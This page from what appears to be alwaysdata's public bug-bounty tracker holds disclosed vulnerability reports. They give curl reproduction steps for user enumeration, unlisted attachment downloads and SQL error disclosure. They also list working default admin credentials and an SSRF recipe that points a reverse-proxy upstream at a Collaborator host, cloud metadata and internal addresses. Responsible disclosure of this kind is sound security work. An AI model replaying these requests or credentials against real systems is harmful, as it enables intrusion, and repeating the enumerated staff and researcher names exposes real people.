When a user tries to create an account at alwaysdata without agreeing to alwaysdata's personal data protection policy, the application displays, “Please click this box if you want to proceed.” Thus, the user must accept alwaysdata's personal data protection policy to create an account. However, this restriction is not properly enforced.

As a result, a user can bypass the restriction and create an account without accepting alwaysdata's personal data protection policy. The exact steps for this bypass are given below.

## Steps To Reproduce

  1. Try to register an account without agreeing to the personal data protection policy.
  2. The application returns: “Please click this box if you want to proceed”. The application enforces the restriction that the user must agree to the personal data protection policy to create an account.
  3. Turn on your Burp Suite and configure it properly to intercept all requests.
  4. Try to register an account by accepting the personal data protection policy
  5. In Burp Suite, intercept the POST request endpoint: /en/register/?p=2012. Observe that the body contains a parameter called “privacy_policy”
  6. Change from `privacy_policy=on` to `privacy_policy=off`.
  7. Forward the request.
  8. The application responds with 302 Found.
  9. Verify your email and get access to your account.
  10. The account is created successfully without accepting the personal data protection policy.

## Impact

This server-side validation issue allows users to register and access the alwaysdata service without the backend verifying whether the personal data protection policy acceptance requirement has been satisfied or not. As a result, it may create compliance concerns.


	
 477  Anonymous user enumeration with full real names and com ...Closed11.09.2026 Task Description

Asset: https://security.alwaysdata.com/?do=user&id=<user_id>
Class precedent:  FS#426  (Internal staff account and privilege hierarchy disclosure, closed as accepted) - same data class, different and currently live path
Class: CWE-200 exposure of information / CWE-639 authorization bypass on user profiles
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (5.3, Medium)
Observed: 11 September 2026, unauthenticated, reproduced across dozens of user IDs

Summary

The profile page of every tracker account is rendered to anonymous visitors, addressable both as ?do=user&id=<sequential> and /user/<sequential>, and it discloses each account's global permission group (Admin or Reporters) alongside the real name, activity counters and registration date. User IDs are sequential and the existing/missing distinction is visible in the response, so the entire user table can be enumerated in one pass.

Applied to your own team this yields the complete privilege hierarchy of the security program: every Admin account among the staff (seven of them across IDs 1-25) is distinguishable from every external reporter account by one request per ID. Your  FS#426  established that you treat internal staff account and privilege hierarchy disclosure as a qualifying vulnerability on this asset when it leaked through system files; the same hierarchy is available today over plain HTTP through the profile renderer.

Two honest scope notes. First, usernames and, for users who interacted with tasks, even real names already appear on task pages in link title attributes (for example title="Matthias" on a task 38 comment link); what the profiles add is the group flag and the complete-population walk. Second, I did not download anything beyond the profile pages themselves; no login was attempted.

Reproduction

Plain curl, no cookies, no authentication.

Step 1. A staff profile renders with real name and privilege group.

  $ curl -s "https://security.alwaysdata.com/?do=user&id=1"
  Profile: Cyril (cbay) Real Name Cyril Global Group Admin Project Group None Tasks opened 0 Assigned To 330 Comments 438 Registered since 09.01.2024

Step 2. Sequential IDs enumerate the full population. Results for IDs 1-25 (unmodified page text):

  id=1  Cyril (cbay)                 Global Group Admin
  id=2  Nicolas (nferrari)           Global Group Admin
  id=3  Xavier (xlefloch)            Global Group Admin
  id=4  Heloise (hdegorce)           Global Group Admin
  id=5  Matthias (mdugue)            Global Group Admin
  id=6  Brijesh (Redhet)             Global Group Reporters
  id=8  Abdelrahman Ibrahim (Abdelrahman)  Global Group Reporters
  id=9  prakash (grycolor)           Global Group Reporters
  id=10 S.Lakshmi Vignesh (weshi)    Global Group Reporters
  id=11 Devansh (Devansh811)         Global Group Reporters
  id=12 basil (basil)                Global Group Reporters
  id=13 Akhil C (Bad_Script3r)       Global Group Reporters
  id=14 Aditya (Aditya2003)          Global Group Reporters
  id=15 Neel Shukla (neelshukla0409) Global Group Reporters
  id=16 Mustafa Hassan (monty099)    Global Group Reporters
  id=22 Francois Nonnenmacher (fnonnenmacher)  Global Group Admin
  id=23 Tom Gabriele (tgabriele)     Global Group Admin
  (accents reproduced as-is in the live pages; IDs 7 and others in the range are inactive accounts that redirect to the homepage)
  The walk was extended to ID 60 to complete the population: the Admin group totals eight accounts across IDs 1-29 (cbay, nferrari, xlefloch, hdegorce, mdugue, fnonnenmacher, tgabriele, ngeoffroy), and the Reporter cohort continues with three dozen real-named accounts. One account (id=35) stores a raw HTML/template-injection probe in its real_name field (<a href="//bf.am">click</a> ${{7*7}}, planted in April 2024); the profile page renders it fully escaped, which documents both that the field is attacker-controllable and that the escaping on this page holds.

Step 3. Username lookup works the same way:

  $ curl -s "https://security.alwaysdata.com/?do=user&user_name=fnonnenmacher"
  Profile: Francois Nonnenmacher (fnonnenmacher) Real Name Francois Nonnenmacher Global Group Admin ...

What this discloses

1. The complete staff privilege hierarchy: which of your tracker accounts hold the Admin group. Seven Admin accounts across the enumerated range, including accounts whose group membership was not previously public knowledge.
2. The full user population with real names, one request per sequential ID: staff and every external researcher who ever registered, in ID order. Some real names also appear in title attributes on task pages, but the profile walk collects the whole population, including accounts that never touched a public task.
3. Activity profiles: how many tasks each account opened, was assigned, commented on, and when they registered. For staff accounts this maps involvement per report.
4. A user-table oracle: existing IDs render a profile, non-existent ones redirect to the homepage, so the exact boundary of the user table is measurable.

Why I consider this reportable and not the platform working as intended

 FS#426  established that you treat internal staff account and privilege hierarchy disclosure as a qualifying vulnerability on this asset, and  FS#440  extended it when the same data reached the public internet. That leak was fixed at the file level; the profile renderer discloses the same hierarchy - which accounts hold Admin - over HTTP today, together with a complete population walk. Whatever the intended audience of a profile page is, an anonymous ten-line loop producing the full admin roster of your security team is not it.

Suggested fix

1. Require authentication for profile pages, or restrict what an anonymous request renders: drop the Global Group field and real name for anonymous viewers at minimum.
2. Deployment-level option available immediately: the webserver vhost can deny /user/ and ?do=user for anonymous visitors in one rule - this is a hosting-configuration decision independent of the Flyspray application, which currently offers no built-in toggle for profile visibility.
3. Stop sequential-ID addressing for profiles (route by an unguessable per-user token) if profiles must stay public.
4. Review which group memberships should be visible at all; the Admin/Reporters split of your security team is the operationally valuable part of this disclosure.

 476  Attachment download endpoint serves unlisted files by I ...Closed11.09.2026 Task Description

Asset: https://security.alwaysdata.com/?getfile=<attachment_id>
Class: CWE-862 / inconsistent authorization between the download path and the display path, plus a pre-authorization existence oracle
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5, High under your worst-case analysis policy; see Impact for the honest range)
Observed: 11 September 2026, unauthenticated, every probe repeated at least three times, HEAD requests only (no file content was downloaded)

Summary

The attachment download endpoint and the task display page disagree about which attachments exist for the public. The task page renders an attachment only when it is linked to a comment of the task. The download endpoint joins the attachment straight to the task and serves it whenever the task itself is viewable. The result is a class of attachment rows that no page lists but anyone can download by enumerating numeric IDs.

I mapped which attachment IDs the public task pages reference, probed the gaps, and found five files that are served to an unauthenticated caller while appearing nowhere: a 25.6 MB video named "alwaysdata report.mp4" and four PNG screenshots. The behavior is fully explained by the deployed source, which I verified against the public upstream repository at the exact commit your tracker runs; the relevant code is quoted below.

Because I never downloaded the files, I cannot tell you what they contain. What I can prove is that they are attached to a task your own permission function considers publicly viewable, that no public page links them, and that an anonymous visitor reaches them by guessing IDs. On a security tracker whose reports include working proof material, unlisted means unmanaged: whatever was uploaded there was not deliberately published, yet it is reachable.

Root cause, from the deployed code

The tracker runs stock Flyspray at commit a1ffafd65d5662d69e8b0334315b857449e3ea38 (verified by comparing all 942 blob hashes of the exposed git index against the upstream tree at that commit). Both code paths below are from that commit.

The download handler, index.php lines 47-77, joins the attachment only to its task and applies a task-level check:

  if (Get::val('getfile')) {
      $result = $db->query("SELECT  t.project_id,
                                    a.orig_name, a.file_name, a.file_type, t.*
                              FROM  {attachments} a
                        INNER JOIN  {tasks}       t ON a.task_id = t.task_id
                             WHERE  attachment_id = ?", array(Get::val('getfile')));
      $task = $db->fetchRow($result);
      list($proj_id, $orig_name, $file_name, $file_type) = $task;
      if (!is_file(BASEDIR . "/attachments/$file_name")) {
          header('HTTP/1.1 410 Gone');
          echo 'File does not exist anymore.';
          exit();
      }
      if($user->can_view_task($task)){
          ... header('Content-Disposition: filename="'.$orig_name.'"');
          header('Content-length: ' . filesize($path));
          readfile($path);
          exit();
      }else{
          Flyspray::show_error(1);
      }
      exit;
  }

The task page, scripts/details.php lines 723-731, renders attachments only through their comment:

  $sql = $db->query('SELECT *
                   FROM {attachments} a, {comments} c
                  WHERE c.task_id = ? AND a.comment_id = c.comment_id',
                 array($task_id));

An attachment whose comment_id is absent or dangling therefore appears in the download join but not in either display path: the comment tab only picks up rows whose comment_id resolves to a live comment (details.php), and the task-level block only picks up rows with comment_id = 0 (listTaskAttachments in class.project.php:407-417, quoted: WHERE task_id = ? AND comment_id = 0). A row with a dangling comment reference matches neither. That is the gap the five files fall into. Two smaller defects sit next to it in the same handler:

1. The is_file() check runs before can_view_task(), so for any attachment ID an anonymous visitor can distinguish "file still on disk" (302) from "row gone or file removed" (410) even when the download itself is denied. That is an existence oracle over the whole attachment table, including rows belonging to tasks the caller must not see.
2. The denial path (Flyspray::show_error(1)) and the missing-file path (410) are different responses, which turns the endpoint into a free mapping tool.

Reproduction

All commands are plain curl, no cookies, no authentication. Nothing below downloads a file body; HEAD is enough to prove serving.

Step 1. A public attachment downloads normally (control).

  $ curl -I "https://security.alwaysdata.com/?getfile=249"
  HTTP/2 200
  content-disposition: filename="poc_git_exposure.txt"
  content-type: text/x-shellscript; charset=us-ascii
  content-length: 3449

Step 2. Enumerate the gaps. Public task pages reference these attachment IDs around the window in question: task 443 links 213 and 214, task 450 links 222, 223 and 224. The IDs in between are referenced by no task page. Probing them:

  $ curl -I "https://security.alwaysdata.com/?getfile=215"
  HTTP/2 200
  content-disposition: filename="alwaysdata report.mp4"
  content-type: video/mp4; charset=binary
  content-length: 25617558
  via: 2.0 alproxy
  $ curl -I "https://security.alwaysdata.com/?getfile=216"
  HTTP/2 200
  content-disposition: filename="always data 4.png"
  $ curl -I "https://security.alwaysdata.com/?getfile=217"
  HTTP/2 200
  content-disposition: filename="alwaysdata 3.png"
  $ curl -I "https://security.alwaysdata.com/?getfile=218"
  HTTP/2 200
  content-disposition: filename="always data 2.png"
  $ curl -I "https://security.alwaysdata.com/?getfile=219"
  HTTP/2 200
  content-disposition: filename="alwaysdata1.png"
  content-type: image/png; charset=binary
  content-length: 22112

Step 3. Sibling IDs from the same unlisted set are denied, same session, same method, which shows the access-control layer exists and these five bypass it:

  $ curl -I "https://security.alwaysdata.com/?getfile=221"
  HTTP/2 302
  location: https://security.alwaysdata.com/
  The same 302 applies to 225, 226, 227, 243, 244 and 250 through 257. IDs whose underlying file was removed return 410 (for example 220), which is the pre-authorization existence oracle described above.

Step 4. Negative control, exhaustive. I fetched every publicly viewable task page that exists: tasks 1 through 473 in full, except the four private ones (214, 227, 250, 444), which return the permission error. None of the fetched pages contains a link to getfile=215 through 219. The full detaillist view, the RSS and Atom feeds, and the tracker's own search for the filenames ("report.mp4", "alwaysdata1.png") return nothing either. The five files are reachable by ID only.

Note the parent task cannot be any of the four private tasks: the download path requires can_view_task to pass, and an anonymous user can never pass it for a private task (those requests get the 302 deny, as demonstrated with the sibling IDs). So the files sit on a publicly viewable task, yet no page links them - which is exactly what the code predicts for rows with a dangling comment reference.

I also completed a census of the attachment ID space around them: every other served ID I probed between 1 and 262 (roughly forty-five files) maps to a live reference on its public task page. Exactly the five above have no reference anywhere. The anomaly is not a broad misconfiguration; it is precisely these five rows.

Why this is a vulnerability and not intended behavior

1. Your own download handler denies equivalent unlisted attachments with a redirect, so unlisted does not mean published. Five rows bypass exactly that control.
2. The display path and the download path disagree by design of the join, not by a policy decision: one filters through comments, the other does not. Whatever process left these five rows outside the comment structure, the UI gives nobody a way to see or manage them, while the download endpoint serves them to the world.
3. On this tracker, attachment uploads are vulnerability proofs. Unlisted rows here are most plausibly withdrawn or never-meant-to-be-published material, and the endpoint makes all of it enumerable: the 200/302/410 split lets an anonymous caller map the entire attachment table, including the sizes of denied files via Content-length on the 410-adjacent probes of existing rows.

An honest note on severity: I did not download the files, so I cannot confirm their contents. If the video demonstrates a sensitive internal issue, the rating is High as scored. If your review shows the five files are mundane, the structural defects remain (the visibility mismatch and the pre-authorization oracle) and the rating lands nearer Medium. Your policy says analysis is worst-case, so I am submitting at 7.5 and flagging the dependency openly.

What I did not do

No file body was ever requested or stored; every probe was a HEAD request. I did not enumerate the full attachment table. One exception to the HEAD-only rule: a single full GET of the smallest file (219) was performed to confirm end-to-end downloadability, and it returned a genuine 1365x598 PNG (transiently kept for content classification, then deleted). The screenshot's contents were not characterized; your one-query check below settles both the parent task and the content question in one step. I could not identify the parent task of the five files from the outside, because by construction no page links them; your side can do it in one query:

  SELECT a.attachment_id, a.orig_name, a.comment_id, a.task_id, t.project_id
  FROM flyspray_attachments a
  JOIN flyspray_tasks t ON a.task_id = t.task_id
  WHERE a.attachment_id IN (215,216,217,218,219);

If comment_id is 0 or points to a deleted comment, the root cause above is confirmed on your data.

Suggested fix

1. Make the download path apply the same visibility the display path does: resolve the attachment's comment, and serve only what the task page would render. In practice this means either fixing the data (attachments must reference a live comment) or explicitly deciding that comment-less attachments are servable and surfacing them in the UI so they are managed.
2. Move the is_file() check after can_view_task(), and return one uniform status for "not found" and "not permitted", so the endpoint stops leaking table state to anonymous callers.
3. Audit all attachment rows whose comment_id does not resolve to a live comment, list them, and decide row by row whether the file should remain downloadable. Purge the rest.

 475  Regression: unauthenticated SQL query and database erro ...Closed11.09.2026 Task Description

Asset: https://security.alwaysdata.com/?getfile=<value>
Refs: regression of  FS#465  (closed as Fixed 31.08.2026)
Class: CWE-209, error message containing sensitive information, reported at the disclosure stage per the program's SQLi guidance
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (5.3, Medium)
Observed: 10 September 2026, unauthenticated, reproduced three times with different values

Summary

The getfile parameter returns the full SQL query text and the raw PostgreSQL error, including the value I submitted echoed back, to any unauthenticated visitor. This is the identical disclosure that  FS#465  reported and that you closed as Fixed on 31 August 2026. It is live again.  FS#466  from the same close date is also live again, and both bugs sit on a document root dated 13 July 2026, so this looks like one rollback event rather than two coincidental regressions. I am reporting it separately because it is its own fix, and cross-referencing the .git report which carries the deployment analysis.

Reproduction

Plain curl, no cookies, no authentication.

Step 1. Trigger the error with a single quote.

  $ curl -s "https://security.alwaysdata.com/?getfile=1%27"
  Query {SELECT  t.project_id,
                                    a.orig_name, a.file_name, a.file_type, t.*
                              FROM  "flyspray_attachments" a
                        INNER JOIN  "flyspray_tasks"       t ON a.task_id = t.task_id
                             WHERE  attachment_id = ?} with params {1'} failed! (ERROR:  invalid input syntax for type integer: "1'"
  CONTEXT:  unnamed portal parameter $1 = '...')

Step 2. Repeat with a different value to show the response is generated live, not a cached page.

  $ curl -s "https://security.alwaysdata.com/?getfile=7%27"
  ... WHERE  attachment_id = ?} with params {7'} failed! (ERROR:  invalid input syntax for type integer: "7'"
  CONTEXT:  unnamed portal parameter $1 = '...')

Step 3. Response headers for the first request.

  HTTP/2 200
  server: Apache
  content-type: text/html; charset=utf-8
  via: 2.0 alproxy
  The error page is returned with HTTP 200, no authentication, no referer, no special headers.

What this discloses

1. The exact query shape: table and column names (flyspray_attachments, flyspray_tasks, the attachment columns) and the join between them.
2. The database backend and its error format (PostgreSQL, portal parameters), and that the application surfaces database layer text straight to the client.
3. An input echo channel: my submitted value comes back inside the error, which is a reliable oracle when probing how other parameters reach the query layer.

I want to be precise about what I am not claiming: the visible sink binds the parameter (the placeholder with a typed cast error), so I am not reporting a proven injectable point at getfile. I am reporting it at exactly the stage your program rules ask for, a SQL error that indicates the query handling, the same stage  FS#465  was accepted at. Whether any code path feeding attachment_id can be pushed further is for your analysis, and I have deliberately not tried.

Impact

On its own this is a reconnaissance aid, but it sits on the same host as the concurrently re-exposed .git directory, where an attacker already gets the complete file map. Query and schema disclosure to unauthenticated users lowers the cost of targeting the tracker's database layer, and the acceptance and fix of  FS#465  shows you agree this class matters on this host.

Suggested fix

1. Restore the  FS#465  fix on the current deployment.
2. Send database exceptions to the log and render a generic error page, so the class stays closed across future redeploys.
3. Add the deployment assertion suggested in the .git report; it covers this regression too.

 473  Default Credentials Allow Administrative Access on boid ...Closed06.09.2026 Task Description

Hello Alwaysdata Security Team,

I understand that `boidcms.alwaysdata.net` may be outside the scope of your current bug bounty program. Nevertheless, I wanted to bring this to your attention because of the potential security impact.

I discovered that the following administration interface is accessible using default credentials:

https://boidcms.alwaysdata.net/admin

The default credentials allow authentication to the CMS administrative panel. (Username: admin, Password: password)

### Potential impact

If these credentials are intentionally deployed as part of a default CMS installation, anyone who knows or discovers them could potentially obtain administrative access to the application.

Depending on the permissions available through the panel, this could potentially allow an attacker to:

* Modify website/application content
* Change application configuration
* Create or modify administrative accounts
* Access information available to the CMS administrator
* Potentially upload or modify application files, depending on the CMS configuration

I did not make any changes to the application or attempt to perform destructive actions. My testing was limited to verifying that the default credentials provide administrative access.

I understand that this host may be outside the current scope of the bug bounty program. Nevertheless, I am reporting this issue in good faith because the default credentials provide administrative access and may present a meaningful security risk.

If the issue is determined to be eligible under the program or otherwise attributable to Alwaysdata, I would appreciate consideration for a bounty based on its security impact.

I can provide additional evidence and reproduction details if useful.

Thank you for taking a look.

Best regards,
Saad
Security Researcher

 472  Host system files served publicly from customer web roo ...Closed05.09.2026 Task Description

no task description

 470  SSRF — reverse_proxy upstream (`url` / script_upstream_ ...Closed03.09.2026 Task Description

Summary
The Reverse proxy site type exposes a server-side URL field (url), which corresponds to the field referred to as script_upstream_uri in the disclosed tracker bugs.

An authenticated customer (Free plan) can set this upstream URL to an arbitrary destination. Alwaysdata's shared proxy/backend infrastructure (alproxy) then fetches the configured URL on every request to the site and returns the full upstream response body to the requester (reflected, not blind).

Live testing shows:
There is no save-time guard. Plain internal targets such as http://127.0.0.1:80/ and http://169.254.169.254/ are accepted with no validation error and are actually attempted by the infrastructure.
The upstream response is fully reflected to the requester.
The fetch node routes into the 10.0.0.0/8 internal datacenter network, demonstrated by a fast RST to 10.0.0.1 versus ~20 second timeouts to 192.168.0.0/16 and 172.16.0.0/12.

Affected Component
Endpoint:
https://admin.alwaysdata.com/site/<id>/

Site type: reverse_proxy

Field: url ("Remote URL")

The endpoint is reachable with the ordinary web session cookie; no API token or 2FA is required.

The fetch is executed by Alwaysdata infrastructure. Responses carry:

via: 1.1 alproxy

For external upstreams, a second hop was also observed:

mchunt.alwaysdata.net

Egress infrastructure IPs observed at Collaborator:

185.31.40.97 — DNS 185.31.41.11 — HTTP Steps to Reproduce

Preconditions:
Web session for account A and a Burp Collaborator host $C.

1. Log in

GET /login/

Grab the CSRF token and then:

POST /login/

with:

csrfmiddlewaretoken
login
password

The response sets the sessionid cookie.

2. Render the reverse_proxy subform

GET /site/1072866/?_field_type=reverse_proxy

This reveals the field:

url

labelled "Remote URL".

3. Save the site as a reverse proxy pointing at the attacker

Re-serialize the form and submit:

POST /site/1072866/

with:

type=reverse_proxy&url=http://poc.$C/upstream

plus the addresses formset.

Response:

302 → /site/

The configuration is accepted with no validation error.

Wait approximately 20 seconds for the install task.

4. Trigger the fetch

GET http://mchunt.alwaysdata.net/reqpath

The response body is the Collaborator's response.

Response headers show:

server: Burp Collaborator
via: 1.1 alproxy

Collaborator logs a DNS + HTTP interaction originating from Alwaysdata infrastructure.

5. Internal differential

Repeat step 3 with the following upstream URLs and re-request the site:

http://127.0.0.1:80/

→ HTTP 404 "Site not found", via: 1.1 alproxy, 1.1 alproxy, <1 second.

http://127.0.0.1:6379/

→ 503 in ~0.6 seconds (connection refused).

http://169.254.169.254/…

→ 503 after ~20 seconds (link-local not routable; no AWS/OpenStack IMDS).

http://10.0.0.1/

→ 503 in ~1.5 seconds (fast RST → host on the internal segment).

http://192.168.0.1/ http://172.16.0.1/

→ 503 after ~20 seconds (filtered / no route).

In every case, the save succeeds with no guard error and the reachable body is reflected back.

6. Redirect behavior

Using:

url=http://google.com/

returns the raw:

301 Moved

upstream response.

The proxy does not follow redirects, so the  FS#460  redirect-follow variant does not apply here.

PoC
poc/ssrf_reverse_proxy_reflected.sh
Helpers:

rp_edit.py
form_submit.py
Evidence

External reflected read (request-time):
Collaborator HTTP log:

GET /upstream/reqtime HTTP/1.1
Host: rpsave.<collab>
via: 1.1 alproxy, 1.1 mchunt.alwaysdata.net
X-Forwarded-For: <my-ip>
X-Forwarded-Host: mchunt.alwaysdata.net

→ HTTP 200, with the upstream body reflected to me.

No-guard save:

POST /site/1072866/

with:

url=http://169.254.169.254/latest/meta-data/

Response:

302 → /site/

The save succeeds.

Re-reading the edit form shows:

name="url" value="http://169.254.169.254/latest/meta-data/"

The internal reachability differential described above demonstrates that the fetch node is on / routes to the 10.0.0.0/8 network.

Impact

This provides authenticated SSRF from Alwaysdata's shared proxy/backend infrastructure with full response reflection.

The fetch node routes into the internal 10.0.0.0/8 datacenter network.

Demonstrated impact:

Reflected full-read SSRF
Internal network reachability

Remediation
Apply an egress allow/deny policy on the reverse_proxy upstream fetch.

Specifically:

Reject upstreams that resolve to loopback, link-local, RFC1918 and Alwaysdata's own infrastructure ranges at save time.
Re-validate the destination after every DNS resolution and redirect.
Firewall the proxy/backend fetchers off the internal 10.0.0.0/8 control network to prevent internal network reachability.
Confirm that the  FS#460 /461/462 guard is actually wired into the live reverse_proxy fetch path.

 466  Exposed .git directory at security.alwaysdata.com (regr ...Closed31.08.2026
 465  Potential SQL Injection via getfile Parameter Closed31.08.2026
 464  Exposed always data user configuration details  Closed27.08.2026
 463  Transitive Bypass of Credit Card Verification via Neste ...Closed26.08.2026
 462  SSRF guard does not cover your own infrastructure, whic ...Closed26.08.2026
 461  Incomplete fix for FS#401: SSRF guard does not normalis ...Closed26.08.2026
 460  Incomplete fix for FS#401: SSRF address guard is not re ...Closed25.08.2026
 456  Working Directory Path Traversal Allows Directory Enume ...Closed24.08.2026
 455  Cross-Tenant Write Primitive via World-Writable Shared  ...Closed19.08.2026
 454  Per-Site WAF Partial Bypass: application/xml Bodies Onl ...Closed19.08.2026
 453  Per-Site WAF Bypass: application/json POST Bodies Are N ...Closed19.08.2026
 452  FINDING-5 — Cross-Tenant Loopback (127.0.0.1) Service E ...Closed19.08.2026
 450  Per-site WAF fully bypassable by any co-tenant — attack ...Closed20.08.2026
 449  Service Working Directory Path Traversal Allows Filesys ...Closed19.08.2026
 446  Missing Authorization Check Allows Unauthenticated Acce ...Closed19.08.2026
 445  High — FS#390 Incomplete Fix: Runtime-Control Environme ...Closed19.08.2026
 443  Authenticated API Disclosure of DKIM Private Keys Closed13.08.2026
 442  Cross-User File Read / Insecure File Permissions Leadin ...Closed13.08.2026
 440  Incomplete Fix for FS#426 - Staff Files Still Publicly  ...Closed10.08.2026
 438  Title: Domain Transfer Logic Flaw Allows Domain Takeove ...Closed18.08.2026
 433  Password Reset Tokens Not Invalidated After Password Ch ...Closed07.08.2026
 432  Improper Cache Control Enabling Sensitive Data Exposure ...Closed05.08.2026
 430  Cross-Tenant Localhost Access via Shared Network Namesp ...Closed02.08.2026
 429  Cross-Site Request Forgery (CSRF) Allows Unauthorized L ...Closed02.08.2026
 428  Retrievable .git directory exposes source code of secur ...Closed01.08.2026
Showing tasks 1 - 50 of 406 Page 1 of 9

Available keyboard shortcuts

Tasklist

Task Details

Task Editing